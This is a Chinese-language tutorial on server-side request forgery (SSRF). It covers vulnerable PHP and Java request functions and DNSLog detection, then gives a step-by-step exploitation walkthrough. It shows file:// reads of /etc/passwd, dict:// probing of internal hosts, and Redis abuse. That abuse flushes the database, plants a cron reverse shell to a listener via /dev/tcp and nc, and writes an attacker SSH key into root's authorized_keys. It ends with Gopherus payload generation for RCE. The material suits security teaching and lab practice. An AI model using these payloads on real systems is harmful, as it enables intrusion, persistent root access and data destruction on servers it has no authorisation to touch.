1.客户端请求
客户端请求指的是由客户端设备(如个人计算机、智能手机、平板电脑等)或软件(浏览器、各种APP)发出的请求,以获取指定的网页、图片、视频或其他资源。比如当用户在浏览器中输入URL或点击链接时,浏览器会自动发起HTTP请求,请求服务器返回指定的资源。
2.服务器端请求
服务器上的应用程序或服务会提供一些功能接口,比如API接口,用于与其他服务进行数据交互。这些由服务器向其他的服务器发起的请求称之为服务器端请求。
3.服务器端请求伪造
服务器端请求伪造(Server-side Request Forgery) 简称SSRF,是指攻击者通过伪造服务器端请求,从而使服务器发起对第三方系统的攻击或访问。攻击者通常会使用受害者服务器上的应用程序作为代理来发起请求,以使请求看起来像是由服务器发起的。
4.漏洞场景
以百度在线翻译为例,其允许用户传入URL,然后百度在线翻译会去请求该URL将的到的结果进行翻译并返回给用户。
在这个过程中,如果百度在线翻译没有对用户传入的URL进行验证,则攻击者可以传入一个百度的内网地址,那么百度翻译就会请求这个内网地址将得到的结果进行翻译并返回给攻击者,从而攻击者就成功的获得了百度翻译这个服务器的内网其他信息。
5.漏洞函数
PHP:
这些函数用于发出HTTP请求,包括常见的函数如curl_exec() 、file_get_contents()、fsockopen()。如果这些函数允许从用户输入中获取URL,但未正确验证和过滤用户输入,攻击者可以通过在URL中注入恶意代码来触发SSRF漏洞。
JAVA:
仅支持HTTP/HTTPS协议的类:HttpClient 类、HttpURLConnection 类、 OkHttp 类、 Request 类
支持sun.net.www.protocol所有协议的类:URLConnection 类、URL类、ImageIO 类
(1)Curl_exec()
格式: curl_exec(resource Sch)
作用:执行CURL会话
<?php
// 创建一个cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "https://www.baidu.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
?>
(2)File_get_contents
格式: file_get_contents(pathinclude_path,context,start,max_length)
作用:把整个文件读入一个字符串中。将整个文件或一个ur所指向的文件读入一个字符串中。
<?php
if(isset($_POST['url']))
{
$content=file_get_contents($_POST['url']);
$filename='./images/'.rand().'.txt';\
file_put_contents($filename,$content);
echo$_POST['url'];
$img="<img src=\"".$filename."\"/>";
}
echo$img;
?>
传入一个地址:
(3)Fsockopen
格式: fsockopen(string hostname,intport = -1Lint &Serrno[ string &errstrl, floattimeout = ini_get("default_socket_timeout") ]] )
作用:打开一个网络连接或者一个Unix 套接字连接。
<?php
$fp = fsockopen("192.168.81.236", 9998, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: 192.168.81.236\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
6.判断漏洞是否存在
在无回显(Blind)的SSRF攻击中,攻击者无法直接获取目标系统返回的响应,因此需要寻找一种方法来间接地确认攻击是否成功。
DNSLog是一种常用的间接确认方法,它通过向一个域名提交请求,然后查看DNS服务器的日志来获取该域名的请求记录,从而确认攻击是否成功。
攻击者可以在SSRF漏洞中注入带有DNSLog服务地址的URL,并将该URL发送到目标服务器上,当目标服务器对该URL进行请求时,DNSLog服务将接收到请求并记录在日志中。攻击者可以定期查看DNSLog的日志,以确认目标服务器是否对该URL进行了请求
DNS
域名解析系统(Domain Name System),用户在浏览器输入一个域名靠DNS服务解析域名的真实IP 访问服务器上相应的服务。
DNSLOG
DNS的日志,存储在DNS服务器上的域名信息,记录着用户对域名的访问信息类似日志文件
7.服务器端请求伪造漏洞利用
(1)读取敏感文件
通过file协议读取敏感文件
A.读取/etc/passwd
B.读取/etc/hosts
(2)探测内网服务
通过dict协议
在读取hosts时获取到内网网段为172.19.0.3,可以对同c段其他主机进行测试
(3)攻击内网应用
A. 通过dict://协议攻击内网redis
Redis是一个key-value存储系统,是跨平台的非关系型数据库。Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞攻击内网中的未授权Redis以及读取Redis的数据。
攻击者在末授权访问Redis的情况下可以利用Redis的相关方法,如果运行 redis 的用户是root用户,攻击者可以通过写定时任务的方式进行反弹she11。
这是一篇介绍反弹shell的文章:https://xz.aliyun.com/t/9488
a.测试redis是否存在未授权访问漏洞
dcit://ip:port/info
b.先根据服务器是否存在以下目录判断服务器信息
# Centos
/etc/redhat-release
# Ubuntu
/etc/lsb-release
c.定时任务目录
centos,在/var/spool/cron/目录下
ubuntu 的定时任务在 /var/spool/cron/crontabs/ 目录下
d.在攻击主机(如果你的攻击目标是本地靶场,那攻击机可以使用ubuntu;如果攻击目标是公网服务器,则接收反弹shel的机器也需要是公网服务器)监听一个端口,用以接收受害主机执行的定时任务所反弹回来的shell。
nc -lvnp 1234
e.在存在漏洞的网站依次执行
# 清空数据库(慎用)
dict://172.19.0.2:6379/flushall
# 设置工作目录
dict://172.19.0.2:6379/config set dir /var/spool/cron/
# 设置保存的文件名
dict://172.19.0.2:6379/config set dbfilename root
# 设置变量x,如果你是在本地虚拟机ubuntu监听,则下方的ip也需要修改为ubuntu
dict://172.19.0.2:6379/set x "\n*/2 * * * * bash -i &> /dev/tcp/192.168.190.137/1234 0>&1\n"
# 保存
dict://172.19.0.2:6379/save
注意:要出现两个+ok才可以
B.写ssh公钥
123步同上,探测是否存在漏洞(通过file读取文件),探测端口(6379端口存在服务),探测redis是否存在未授权访问漏洞
a. 通过redis写ssh公钥,首先攻击方生成一对ssh key
ssh-keygen -t rsa
b. 先拿出公钥的数据
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
c. 在目标网站上执行
dict://172.19.0.4:6379/flushall //flush线上环境慎用
dict://172.19.0.4:6379/config set dir /root/.ssh/
dict://172.19.0.4:6379/config set dbfilename "authorized_keys"
dict://172.19.0.4:6379/set test "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH8x9x08lpDP2urDQy8gp7WmC10Wk5CZ1R1zlm4YcpDSEWDOy//9GCCpnW3FlT/E7qDlmBGklpRErbFS8GlXgIXZMgnjCC3rmpFJfw8IIcIdx9RaLHhKdvCQsjP3Me0RjQo7AEo5HX3iSax3TCgSV+aTH0XDmjs6t4VfMlS3qsVLITNmC/aU6tjhc22Y99gNM26kfR7Nfe7xmqBEGVrC/i+8QB4jwypGZ/Da9mXnQ7e6gr9fi+RQWirs49gqx7Vvf2h+wXnECqaHbgQ0ET2Px3D6xbOrLcW+u2ZiUzgiD8uE4Zj55n7+dxG/BCV9wOT8boMHJE8g2H76mX9rR+sk2t thr@thr-virtual-machine\n\n"
dict://172.19.0.4:6379/save
d. 攻击者利用私钥进行登录
ssh root@192.168.190.137 -p 2222 -i ~/.ssh/id_rsa
第一个红框为攻击目标ip,第二个红框为可提供服务的端口
C.通过gopher协议攻击内网应用
gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在SSRF 漏洞利用中 gopher可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,可以攻击内网的 FTP、Telnet、Redis.Memcache,也可以进行GET、POST请求,还可以攻击内网未授权MySQL。
gopher协议默认端口70,所以需要指定web端口,而且需要指定方法。数据部分需要进行url编码。回车换行使用%0d%0a
基本协议格式:URL:gopher://<host>:sport>/<gopher-path>_后接TCP数据流Gopherus的运用
在SSRF易受攻击的站点上生成 Gopher 负载以利用SSRF并获得RCE。
可以攻击的应用: MySQL、FastCGl、Memcached、Redis、Zabbix、SMTP.
使用方法:python gopherus.py --exploit redis